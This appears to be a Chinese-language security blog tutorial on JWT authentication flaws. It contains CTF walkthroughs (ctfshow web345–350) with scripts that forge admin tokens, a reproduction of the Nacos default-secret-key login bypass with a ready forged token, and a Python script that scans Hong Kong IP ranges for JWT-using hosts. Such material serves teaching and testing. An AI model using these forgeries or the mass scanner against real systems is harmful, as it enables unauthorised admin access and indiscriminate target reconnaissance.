简介
JSON Web Token(JWT https://jwt.io )是一种跨域身份验证解决方案,其主要认证原理是提供一个可信签名,利用存在客户端的secret_key将明文的鉴权数据做一个签名,用于跨域校验权限的合法性。
JWT代替cookie做站点鉴权,既方便又防止了跨域的安全风险。但是最后全部依赖于最后的签名,导致会存在认证缺陷漏洞,从而越权登录、越权修改等。
理论
JWT有三部分:
- 头部(Header): 存放Token类型和加密的方法
- 载荷(Payload): 主要包含一些用户身份信息
- 签名(Signature): 签名是将前面的Header,Payload信息以及一个密钥组合起来并使用Header中的算法进行加密
以jwt官网jwt.io为例:
- Encoded(原始已编码JWT) 通过官网工具可解出==header payload signature==
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
- HEADER:
{
"alg": "HS256",
"typ": "JWT"
}
- PAYLOAD:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
- VERIFY SIGNATURE
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
) secret base64 encoded
漏洞存在地方
(1)Header部分
是否可以删除签名
是否支持修改算法为none/对称加密算法
插入错误信息
jwk元素是否可信
kid字段是否有SQL注入/命令注入/目录遍历
是否强制使用白名单上的加密算法
(2)Payload部分
其中是否存在敏感信息检查过期策略
(3)Signature部分
签名密钥是否可以爆破
检查是否强制检查
是否可以通过其他方式拿到密钥
自身存在脆弱性的算法
签名方法之间是否存在冲突
(4)其他的一些常规手法
重放
通过匹配校验的时间做时间攻击
修改算法非对称算法为对称算法(如修改RS256为HS256)
弱密钥破解
不安全的配置所导致的敏感信息泄露(如在报错信息中泄露签名)
常见安全问题
-
测试站和主站secret_key相同:弱口令访问dev.xxx.com进去后发现返回一段token为JWT,并且之后请求数据包利用此段JWT鉴权,于是直接访问main.xxx.com即可登录成功;
-
secret_key泄漏:开发者自行实现JWT过程中,往往将secret_key存在配置信息中。在部分框架报错、flask模板注入、格式化字符串漏洞、配置文件在web目录、默认key未修改、key可爆破等情况下会泄漏
- 利用方法:利用低权限用户的JWT伪造高权限的,即可使用管理员权限登录系统。
- 利用工具:CF0.5.0
利用原理:
base64 decode原本JWT的加密算法与JWT内容
伪造自己想伪造的内容部分
利用泄漏的secret_key对伪造的内容进行签名
靶场
ctfshow345-350
345
web346-347
和上一题一样先拿到jwt然后去jwt.io解密,这道题有两种,第一种是相当于密钥弱口令。这里盲猜123456,然后把user改成admin,用修改后的jwt加载进入,访问admin目录就可以了
web348
爆破密钥https://github.com/brendan-rius/c-jwt-cracker
web349
给了一个app,js发现非对称加密算法RS256泄漏私钥
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
import jwt
with open('C:\\Users\\baiyu\\Desktop\\python源码\\jwt\\private.key', 'r') as file:
private = file.read()
header = {
"alg": "RS256",
"typ": "JWT"
}
payload = {
"user": "admin",
"iat": 1667825552
}
token = jwt.encode(
payload=payload,
key=private,
algorithm="RS256",
headers=header
)
print(token)
//eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2Njc4MjU1NTJ9.cbDuQksuw8UtIc20AzI01Gvapb3BQTMyBHVeicuI09KCRStj1Ip2Wl1hQdMUQfIZhpW1h3AXlEzKXb18leQS_7cITymYi6Ny_NDZ3hMrUr9dwiXdHGlsdQynhZvBUeKmviQu2brsF61Uaq02i5ZHZhV80hXCLC9bRpH8OI9n3jo
根据源码提示,POST提交,然后把脚本的jwt输入
web350
访问/public.key获得公钥
HS256算法使用密钥为所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
因为这里获得了公钥,所以我们可以将算法由RS256改为HS256,直接利用公钥进行加密和解密,不再需要私钥。
可以在这个网站在线运行https://lightly.teamcode.com
EXP
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
常用工具
https://github.com/ticarpi/jwt_tool
主要功能
1、检查令牌的有效性
2、测试已知漏洞:
CVE-2015-2951:alg=none签名绕过漏洞
CVE-2016-10555:RS / HS256公钥不匹配漏洞
CVE-2018-0114:Key injection漏洞
CVE-2019-20933 / CVE-2020-28637:Blank password漏洞
CVE-2020-28042:Null signature漏洞
3、扫描配置错误或已知漏洞
4、Fuzz声明值以引发意外行为
5、测试secret/key file/public key/ JWKS key的有效性
6、通过高速字典攻击识别低强度key
7、时间戳篡改
8、RSA和ECDSA密钥生成和重建(来自JWKS文件)
9、伪造新的令牌头和有效载荷内容,并使用密钥或通过其他攻击方法创建新的签名
https://github.com/tyki6/MyJWT/
功能说明
- copy new jwt to clipboard
- user Interface (thanks questionary)
- color output
- modify jwt (header/Payload)
- None Vulnerability
- RSA/HMAC confusion
- Sign a jwt with key
- Brute Force to guess key
- crack jwt with regex to guess key
- kid injection
- Jku Bypass
- X5u Bypass
https://gist.github.com/imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f
脚本功能
用于利用CRLF漏洞的脚本
实战
nacos JWT硬编码登录
https://github.com/alibaba/nacos/issues/9830
漏洞描述
Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。若您Nacos未修改 secret.key,则攻击者可利用默认secret.key生成JWT Token,从而造成权限绕过访问到相关API接口。
影响范围
0.1.0<=com.alibaba.nacos:nacos-console<2.2.0.1
环境
app="NACOS"
复现
抓取登陆包,修改响应包状态码为 200 和 body
{
"accessToken":
"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU","tokenTtl": 18000,
"globalAdmin": true,"username":"nacos"
}
通过筛选请求头收集香港地区JWT资产
import requests
import ipaddress
from concurrent.futures import ThreadPoolExecutor
# 定义读取文件和保存结果的路径
hk_file = "hk.txt"
output_file = "jwt.txt"
# 定义请求的超时时间
timeout = 5
# 定义请求头中的JWT关键字
jwt_keywords = ["Authorization", "Bearer", "Set-Cookie"]
# 用于存储使用JWT的IP
jwt_ips = []
# 定义函数来请求每个IP并检查是否使用JWT
def check_jwt_for_ip(ip):
url = f"http://{ip}"
try:
# 发起HTTP请求
response = requests.get(url, timeout=timeout)
# 检查响应头是否包含JWT相关信息
for keyword in jwt_keywords:
if keyword in response.headers and "Bearer" in response.headers.get("Authorization", ""):
print(f"JWT found on {ip}")
jwt_ips.append(ip)
break
except requests.RequestException as e:
# 忽略超时或无法连接的错误
print(f"Error connecting to {ip}: {e}")
pass
# 读取hk.txt中的子网并生成IP地址列表
def get_ip_list_from_file(filename):
ip_list = []
with open(filename, "r") as file:
for line in file:
line = line.strip()
try:
# 对每一行子网进行解析,并将IP加入列表
network = ipaddress.ip_network(line, strict=False)
ip_list.extend(str(ip) for ip in network.hosts())
except ValueError as e:
print(f"Invalid network {line}: {e}")
return ip_list
# 将结果写入jwt.txt
def save_results_to_file(filename, results):
with open(filename, "w") as file:
for ip in results:
file.write(ip + "\n")
# 主函数
if __name__ == "__main__":
# 获取所有香港地区的IP地址
ip_list = get_ip_list_from_file(hk_file)
print(f"Found {len(ip_list)} IPs to check.")
# 使用线程池并发处理多个IP地址,加快速度
with ThreadPoolExecutor(max_workers=20) as executor:
executor.map(check_jwt_for_ip, ip_list)
# 将使用JWT的IP地址保存到jwt.txt
save_results_to_file(output_file, jwt_ips)
print(f"Saved {len(jwt_ips)} JWT-enabled IPs to {output_file}.")
参考链接:
https://xz.aliyun.com/t/12906?time__1311=GqGxuD9QiQGQdGN4CxUE%3DbGCDn7BdhW4D
https://blog.csdn.net/m0_67284865/article/details/131622674
https://developer.aliyun.com/article/727946
https://www.cnblogs.com/backlion/p/16699442.html